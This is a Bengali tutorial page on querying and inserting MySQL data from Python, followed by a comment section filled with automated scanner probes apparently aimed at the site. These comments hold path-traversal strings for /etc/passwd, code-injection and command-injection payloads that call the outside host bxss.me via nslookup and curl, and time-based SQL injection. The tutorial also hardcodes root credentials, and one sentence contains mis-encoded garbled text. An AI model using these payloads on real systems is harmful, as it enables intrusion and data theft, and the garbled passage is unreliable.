ডাটা কোয়েরি করা
পাইথন প্রোগ্রাম ব্যবহার করে মাইএসকিউএল ডাটাবেজের ডাটা কোয়েরি করার জন্য প্রথমে mysql.connector প্যাকেজকে ইমপোর্ট করতে হবে। অতঃপর ইউজার নেম, পাসওয়ার্ড, হোস্ট আইপি অ্যাড্রেস, ডাটাবেজ নেম প্রভৃতি দেয়ার মাধ্যমে ডাটাবেজে কানেক্ট করতে হবে। ডাটাবেজে কোয়েরি এক্সিকিউট করার জন্য একটি কার্সর তৈরি করতে হবে। উক্ত কার্সরে যে কোয়েরি দেয়া হবে সেই কোয়েরি অনুযায়ী ডাটা ডাটাবেজ হতে রিট্রিভ করা হবে। ডাটাবেজের সাথে কানেক্ট হওয়া থেকে শুরু করে ডাটা রিট্রিভ করা পর্যন্ত বিভিন্ন কার্য সম্পাদন সুংয়ষ.পড়হহবপঃড়ৎ করে থাকে। মাইএসকিউএল ডাটাবেজ থেকে ডাটা কোয়েরি করার একটি প্রোগ্রাম নিচে দেয়া হলো।
importmysql.connector
conn=mysql.connector.connect(
user='root',
password='123456',
host='127.0.0.1',
database='test')
cur=conn.cursor()
query=("select * from student")
cur.execute(query)
for (std_id,std_name,std_address) in cur:
print('Student Id:',std_id,'Stuent
Name:',std_name,'Addresss:',std_address)
cur.close()
conn.close()
প্রোগ্রামের বর্ণনা
১.importmysql.connector স্টেটমেন্ট ব্যবহার করে ডাটাবেজে কানেক্ট করার জন্য প্যাকেজকে প্রোগ্রামে ইমপোর্ট করা হয়।
২.conn=mysql.connector.connect(user='root',password='123456',host='127.0.0.1',database='test')
mysql.connector.connect স্টেটমেন্ট ব্যবহার করে মাইএসকিউএল ডাটাবেজের সাথে কানেক্টিভিটি তৈরি করা হয়। এই স্টেটমেন্টে ডাটাবেজ ইউজার নেম, পাসওয়ার্ড, হোস্ট আইপি অ্যাড্রেস এবং ডাটাবেজের নাম দিতে হয়।
৩. cur=conn.cursor() স্টেটমেন্ট ব্যবহার করে এসকিউএল স্টেটমেন্ট এক্সিকিউট করার জন্য একটি কার্সর তৈরি করা হয়।
৪. query=("select * from student") স্টেটমেন্ট ব্যবহার করে কার্সর দিয়ে এক্সিকিউট করার এসকিউএল স্টেটমেন্ট দেয়া হয়।
৫. cur.execute(query) কার্সর এক্সিকিউট করার জন্য উক্ত স্টেটমেন্ট ব্যবহার করা হয়।
৬. for (std_id,std_name,std_address) in cur:
print('Student Id:',std_id,'Stuent Name:',std_name,'Addresss:',std_address)
for লুপ ব্যবহার করে ডাটাবেজ হতে প্রাপ্ত ডাটাসমূহ স্ক্রিনে প্রদর্শন করা হয়।
৭. cur.close() স্টেটমেন্ট ব্যবহার করে কার্সর ক্লোজ করা হয়।
৮. conn.close() স্টেটমেন্ট ব্যবহার করে ডাটাবেজের সাথে কানেকশন ক্লোজ করা হয়।
উপরোক্ত পাইথন প্রোগ্রামটি এক্সিকিউট করা হলে নিচের মতো আউটপুট স্ক্রিনে পদর্শিত হবে।
ডাটা ইনসার্ট করা
পাইথন প্রোগ্রাম ব্যবহার করে মাইএসকিউএল ডাটাবেজে ডাটা ইনসার্ট করা যায়। এজন্য কার্সরের মাধ্যমে ডাটা ইনসার্ট করার এসকিউএল স্টেটমেন্ট এক্সিকিউট করতে হবে। ডাটা ইনসার্ট করার পাইথন প্রোগ্রাম নিচে দেয়া হলো
importmysql.connector
conn=mysql.connector.connect(
user='root',
password='123456',
host='127.0.0.1',
database='test')
cur=conn.cursor()
query=("insert into student(std_id,std_name,std_address) values(104,'Mohammad Hasan','Khulna')")
cur.execute(query)
cur.close()
conn.commit()
conn.close()
উপরোক্ত প্রোগ্রামটি এক্সিকিউট করার পর মাইএসকিউএল ক্লায়েন্ট টুল ব্যবহার করে student টেবিলে কোয়েরি করা হলে দেখা যাবে যে নতুন রেকর্ডটি প্রদর্শিত হচ্ছে।
select * from student;
মতামত এবং পরামর্শ
আপনাদের মতামত এবং পরামর্শ ইমেইলের মাধ্যমে জানাতে পারেন।
ইমেইল অ্যাড্রেস : mrn_bd@yahoo.com
৭৭ টি মন্তব্য
oKGujyoz
২০২৪-০৯-০২ ০২:০৫:২২555
oKGujyoz
২০২৪-০৯-০২ ০২:০৫:২৯1
oKGujyoz
২০২৪-০৯-০২ ০২:০৫:৩১1
oKGujyoz
২০২৪-০৯-০২ ০২:০৫:৪৬555
oKGujyoz
২০২৪-০৯-০২ ০২:০৫:৪৮555
oKGujyoz
২০২৪-০৯-০২ ০২:০৫:৫০555
oKGujyoz
২০২৪-০৯-০২ ০২:০৫:৫০555
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:০৫1
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:০৭1
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:১৮1Bnqi2r4RrO
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:২১${9999295+9999881}
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:২১1
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:২২)
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:২৩!(()&&!|*|*|
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:২৩^(#$!@#$)(()))******
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:২৪response.write(9740018*9555584)
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:২৫'+response.write(9740018*9555584)+'
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:২৫1
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:২৫"+response.write(9740018*9555584)+"
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:২৬qB9teN2d
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:২৭QDGSBoQC: wv2jbaHo
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:২৭1
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:২৮1<esi:include src="http://bxss.me/rpb.png"/>
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:২৯http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:২৯1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:২৯Http://bxss.me/t/fit.txt
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৩০1
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৩০http://bxss.me/t/fit.txt%3F.jpg
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৩০/etc/shells
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৩১../../../../../../../../../../../../../../etc/shells
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৩১c:/windows/win.ini
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৩১bxss.me
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৩২../../../../../../../../../../../../../../etc/passwd
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৩৩../../../../../../../../../../../../../../windows/win.ini
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৩৩'.gethostbyname(lc('hitqv'.'jhupzfttb249a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(90).chr(121).chr(83).'
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৩৩file:///etc/passwd
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৩৩".gethostbyname(lc("hituw"."fhwpjavpb4403.bxss.me."))."A".chr(67).chr(hex("58")).chr(111).chr(77).chr(116).chr(87)."
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৩৩1
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৩৪gethostbyname(lc('hitda'.'eqsffauzcddc7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(83).chr(120).chr(81)
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৩৪../1
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৩৪"+"A".concat(70-3).concat(22*4).concat(102).concat(86).concat(118).concat(83)+(require"socket" Socket.gethostbyname("hitxz"+"omaocnyj03f8c.bxss.me.")[3].to_s)+"
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৩৫'+'A'.concat(70-3).concat(22*4).concat(118).concat(73).concat(117).concat(77)+(require'socket' Socket.gethostbyname('hitdk'+'gjacdhsl7cf95.bxss.me.')[3].to_s)+'
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৩৫'A'.concat(70-3).concat(22*4).concat(114).concat(75).concat(122).concat(89)+(require'socket' Socket.gethostbyname('hitwo'+'gzkyzynl828e2.bxss.me.')[3].to_s)
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৩৬)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৩৮'"()
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৩৯1'&&sleep(27*1000)*gtwahl&&'
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৩৯'"
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৩৯1"&&sleep(27*1000)*uzxyxz&&"
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৩৯<!--
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৪০1'||sleep(27*1000)*tfawbo||'
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৪০1"||sleep(27*1000)*vqxczu||"
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৪৩;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৪৩';print(md5(31337));$a='
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৪৩";print(md5(31337));$a="
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৪৪${@print(md5(31337))}
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৪৪${@print(md5(31337))}\
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৪৪echo gyvmkw$()\ crmqix\nz^xyu||a #' &echo gyvmkw$()\ crmqix\nz^xyu||a #|" &echo gyvmkw$()\ crmqix\nz^xyu||a #
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৪৪'.print(md5(31337)).'
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৪৪xfs.bxss.me
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৪৪&echo jzboth$()\ sdwixf\nz^xyu||a #' &echo jzboth$()\ sdwixf\nz^xyu||a #|" &echo jzboth$()\ sdwixf\nz^xyu||a #
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৪৫1&echo ysgyxg$()\ vxubpl\nz^xyu||a #' &echo ysgyxg$()\ vxubpl\nz^xyu||a #|" &echo ysgyxg$()\ vxubpl\nz^xyu||a #
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৪৫|echo gkljks$()\ dubgqt\nz^xyu||a #' |echo gkljks$()\ dubgqt\nz^xyu||a #|" |echo gkljks$()\ dubgqt\nz^xyu||a #
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৪৫1|echo jvypcd$()\ iksyif\nz^xyu||a #' |echo jvypcd$()\ iksyif\nz^xyu||a #|" |echo jvypcd$()\ iksyif\nz^xyu||a #
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৪৬(nslookup -q=cname hitnzdojcrcnje1023.bxss.me||curl hitnzdojcrcnje1023.bxss.me))
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৪৬$(nslookup -q=cname hitxlwpbivdbn011b4.bxss.me||curl hitxlwpbivdbn011b4.bxss.me)
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৪৬&nslookup -q=cname hitafjsbiaybs9e9e7.bxss.me&'\"`0&nslookup -q=cname hitafjsbiaybs9e9e7.bxss.me&`'
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৪৭&(nslookup -q=cname hitfouzvzdojca28bb.bxss.me||curl hitfouzvzdojca28bb.bxss.me)&'\"`0&(nslookup -q=cname hitfouzvzdojca28bb.bxss.me||curl hitfouzvzdojca28bb.bxss.me)&`'
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৪৮|(nslookup -q=cname hitclscqsqknkdd17a.bxss.me||curl hitclscqsqknkdd17a.bxss.me)
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৪৮`(nslookup -q=cname hitquibvalxdo3daf2.bxss.me||curl hitquibvalxdo3daf2.bxss.me)`
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৪৮;(nslookup -q=cname hitvtkuhpntpeafe72.bxss.me||curl hitvtkuhpntpeafe72.bxss.me)|(nslookup -q=cname hitvtkuhpntpeafe72.bxss.me||curl hitvtkuhpntpeafe72.bxss.me)&(nslookup -q=cname hitvtkuhpntpeafe72.bxss.me||curl hitvtkuhpntpeafe72.bxss.me)
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৪৯|(nslookup${IFS}-q${IFS}cname${IFS}hitxsqcwpulwjd5c0b.bxss.me||curl${IFS}hitxsqcwpulwjd5c0b.bxss.me)
oKGujyoz
২০২৪-০৯-০২ ০২:০৬:৪৯&(nslookup${IFS}-q${IFS}cname${IFS}hitqvqrhriioi87db7.bxss.me||curl${IFS}hitqvqrhriioi87db7.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitqvqrhriioi87db7.bxss.me||curl${IFS}hitqvqrhriioi87db7.bxss.me)&`'
oKGujyoz
২০২৪-০৯-০২ ০২:০৭:৩১1
oKGujyoz
২০২৪-০৯-০২ ০২:০৭:৩৬1
oKGujyoz
২০২৪-০৯-০২ ০২:০৭:৫৬555oiNv65TS' OR 424=(SELECT 424 FROM PG_SLEEP(15))--
oKGujyoz
২০২৪-০৯-০২ ০২:০৮:০২555PgeY4cfM') OR 324=(SELECT 324 FROM PG_SLEEP(15))--
oKGujyoz
২০২৪-০৯-০২ ০২:০৮:০৮555fOdvfrE5')) OR 31=(SELECT 31 FROM PG_SLEEP(15))--